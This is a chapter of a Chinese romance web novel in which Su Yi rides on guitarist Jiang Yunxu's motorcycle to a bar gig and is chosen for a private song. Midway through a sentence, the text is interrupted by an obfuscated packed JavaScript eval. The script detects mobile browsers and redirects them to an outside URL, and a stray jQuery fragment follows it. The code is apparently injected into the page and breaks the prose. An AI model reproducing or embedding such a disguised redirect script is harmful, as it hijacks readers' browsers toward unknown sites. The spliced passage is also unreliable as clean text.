上完下午的课,苏宜走出教学楼,按亮手机看见一则消息提示。
十分钟前,江允叙问他下课了没有。
他刚选出一个猫咪点头的表情包,头顶忽然暗了一片。
两个简洁的字滚入耳中,“看路。”
苏宜抬起头,江允叙站在他正前方,微微垂眸盯着他。
声线一如既往的平稳,“走路不看路?”
这句话的意味能称得上是关心,但苏宜却完全被他的其他方面吸引。
江允叙今天穿得很不同寻常。拉链从领口咬到腰腹,金属齿在光线下泛着冷光。
腰侧的收褶设计掐出利落的身形,往下是包裹着长腿的深色面料,裤脚被靴筒牢牢束住。
这样的设计,让他整个人透出一股强烈的冷硬和力量感。
苏宜目光停留在他微敞的领口,那里银质的链条露出几分痕迹。
“这是机车服吗?”他问。
“是,今天骑车带你去。”江允叙答。
没走两步,苏宜想到什么,偏头看向身边的人。
“你怎么知道我在教学楼上课?”
两人对视,苏宜看见江允叙唇角轻轻掀了一下。
“那你是怎么知道我课表的?”
这个话题挑得极其不好,苏宜眨了下睫毛,扭回头全当没听见。
绕到学校侧门,苏宜看到停靠在路边的重型机车。
纯黑车身泛着哑光金属质感,全车不见冗余装饰,如同沉默蓄势的钢铁巨兽。
机车原来是这幅模样,苏宜脚步微微停顿,视线在车身来回游移。
摇滚、耳骨钉,以及机车。
江允叙跟苏宜认识的所有人都不一样,身上的特质完全对立,冷淡中藏着躁动。
像是冰层下的野火,有种极其矛盾的吸引力。
江允叙抬手扣上头盔,将大半张脸遮进阴影里,只露出一截线条清晰的下颌。
他转过身,手里拿着另一顶头盔,看向苏宜。
“会戴吗。”
苏宜摇头,他对出行方式的认知只局限于公共交通工具。
江允叙没有露出其他的神情,他靠近对方,掌心按住盔顶往人头顶上不轻不重地一压。
“抬头。”他开口。
苏宜听到指令,乖乖仰起脑袋,咔嗒一声,卡扣在颏下扣紧。
彼此的目光也不可避免地相交。
江允叙双手捧在头盔两侧,像捧住苏宜脸庞一样。
他垂着眼。
苏宜脸窄,下巴细,白皙的一小片脸拢在头盔中,鼻尖的弧度十分秀气。
像是把那点柔软的漂亮藏进了硬挺的轮廓里,反倒显得更加灵动。
“好了吗?”
随着仰头的动作,苏宜细软的发丝在头盔沿微微蹭动。
好显小。
心中生出这样的想法,江允叙松开手,将后坐的护具递给他。
“自己带好。”
苏宜低头接过,留给他一个圆溜的盔顶。
没过几秒,又重新抬起头,睫毛扇动面露犹豫地小声问:“骑机车会很危险吗?”
一副很惜命的小模样。
江允叙很清楚自己嘴角往上抬了下,因为苏宜脸颊上浮起了一层桃尖似的粉。
抬手拉下他的防风镜,江允叙语气不明:“我以为你知道,骑车做好防护是最基本的事。”
他跨上车座,黑色靴底在脚踏上磕出闷响,拎起手套指尖往里撑。
“我没有别的意思……”苏宜音量很弱,脸上快被蒸熟了。
他头大身小地站在那里,像朵呆蘑菇。
“我知道。”江允叙落下防风镜,语气有了一丝波澜,像在笑。
“上车吧。”
苏宜坐上去,双手搂住他的腰。
江允叙握住车把时肩线微沉,脊背绷出流畅的弧度,苏宜能感受到手下绷起的肌肉线条。
好硬。
引擎轰鸣的前一刻,江允叙侧头,防风镜后高鼻剑眉。
苏宜看出他要说话,于是凑近了一点。
两人原本就挨得很近的距离几乎缩短到零,苏宜听到他嗓音磁性。
“放心,我不会开太快,手可以放松点。”
紧紧抓着他腰的十根手指顿时张开,苏宜低低“嗯”一声,面红耳赤,“……不好意思。”
他隐约察觉到了一点对方隐藏得很深的劣性。
不过,苏宜抿抿唇瓣,也有可能是自己太蠢了。
*
到达酒吧,苏宜直接跟着江允叙进入特定的休息室。
乐队的成员都在这里,除了乔星柚,苏宜都不太面熟。
彼此打过招呼后,苏宜找个位置坐下,江允叙走进换衣间。
“怎么。”乔星柚在旁边坐下,“只听过一次就变成我们乐队的粉丝了。”
他双臂靠在椅背上,故意挑眉问:“我们乐队什么时候有这么大的魅力了?”
“当然有。”苏宜一本正经地点头,“不然我怎么会来追乔哥线下呢。”
乔星柚没绷住,虎牙一嗞,“小粉丝,你嘴巴真甜。”
这时,工作人员推门进来提醒他们上台时间。
乔星柚站起身做了个wink,“小粉丝,等下可不要被我逮到偷瞄别人啊。”
苏宜冲他笑得轻盈:“乔哥,祝你演出顺利。”
这句话让旁边江允叙拎琴的手微不可察地顿了顿,他偏过头,看向苏宜那张笑脸。
依旧是月牙形的眼睛、两弯梨涡。
只不过不再是对着他。
胸口的那股沉闷隐隐作祟,江允叙神情淡漠地握住琴颈。
苏宜一转头,看见的就是他转身走出休息室的背影。
这次观演的位置格外近,是看台前排。
当鼓点响起时,哪怕有过一次经验,苏宜的呼吸还是抑制不住变乱。
炽白的聚光笼罩下来,苏宜很轻易地认出了那道颀长挺拔的身影。
吉他背带斜挂在他肩上,江允叙低头,指尖在琴弦上一拨,一道泛音冲破喧嚣。
台下的呼喊、尖叫层层叠叠地涌上来,震得人耳膜发麻。
苏宜站在看台下,心跳的震颤似乎都和琴弦的频率重合起来。
吉他声在音浪中逐渐尖锐,在间奏的solo时,江允叙手腕一翻,小臂线条随着指节起落紧绷。
侧脸的轮廓在追光里明暗分割,下颌线绷得又紧又好看。
汗珠顺着脖颈滑进锁骨,混着灯光折射成细碎的星钻。
演出时,江允
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207934|181322||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叙视线从来不会投向看台,所有情绪都会封存在和弦里。
疏冷又肆意,几乎是所有人都清楚的共性。
所以当身边人的尖叫冲进耳蜗时,苏宜后知后觉是江允叙看了过来。
在短短几秒钟里,隔着看台的距离,甚至落在两人头顶的灯光都不对等。
苏宜完全不能确定江允叙是否是在看他,但心脏的跳动还是一声比一声急促。
喧嚣的人潮中,只有苏宜扒着看台既不尖叫,也没有舞动身躯。
有点木楞地杵在那里,偶尔灯光扫过会照亮他晕红的腮颊和发亮的眼睛。
也只有这时,他的情绪才得以被人窥探出一角。
格格不入的一朵蘑菇,连高兴都是安静的。
江允叙收回视线,拨片划过琴弦。
最后一个音节砸下,人群的呼喊迟迟不肯平息。
乐队的成员却没有转身走进侧台。
酒吧主管走上看台,拿过话筒宣布:
“今天有一个特殊的环节,那就是每一个乐队成员都会为被选中的观众弹奏指定的乐曲……”
剩下的话淹没在欢呼声中,氛围再次被推向另一个高峰。
灯光一次一次地熄灭、亮起,挑选出一个一个的幸运儿。
人群的声浪涌起又落下。
巨大的冲击下,苏宜的感官都有些麻痹。
轮到江允叙时,灯光暗下,只有设备的红点在漆黑中偶尔闪动。
像是冥冥中会有感应,苏宜的心跳忽然漏了一拍。
下一秒,白色的光圈出现在他头顶。
——他是江允叙的幸运儿。
耳边喧嚣,苏宜却完全没有实感,只能怔忪地看着江允叙握住吉他一步步走向他,然后在他面前蹲下。
问:“你想听什么?”
柔和的白光像为苏宜戴上了头纱,连低头的动作都可以解读为羞怯。
江允叙听到他用恰好够两个人听见的声音说,“我对摇滚音乐不太了解怎么办……”
两人之前的位置仍旧存在落差。
苏宜瞳孔中层层向外舒展的虹膜纹路,江允叙看得分明,如同绚丽的太阳花。
“那我帮你选一首。”江允叙下颌微敛,“你应该听过。”
苏宜点头,看着对方起身,走向台中央,然后单手将立着的话筒挪动。
原本的对角距离顿时缩短。
吉他弦轻轻拨动,没有失真效果器,音色干净得像浸在水里,每个音节都带点潮湿的颤音。
江允叙没像以往站得那样挺直,而是靠在音箱上,连指腹按弦的动作都透出几分松弛。
唱第一句的时候,睫毛在眼下投落阴影,男生低沉磁性的嗓音缓缓流淌出。
出人意料地跟舒缓的歌词很适配。
像是某位吉他手为了哄人而哼起的小调,跟平时的冷淡的模样判若两人。
江允叙的侧脸甚至被昏暗的灯光烘托得有几分柔和。
悠长的尾音在空气里打了个旋,不急不徐地滚入耳中,苏宜心中有种微妙的冲击感。
他的确听过这首歌,但当时根本没有和摇滚两个字联系起来。
他一直以为,摇滚是不羁、炽烈,甚至叛逆的。
原来也会有温柔的一面。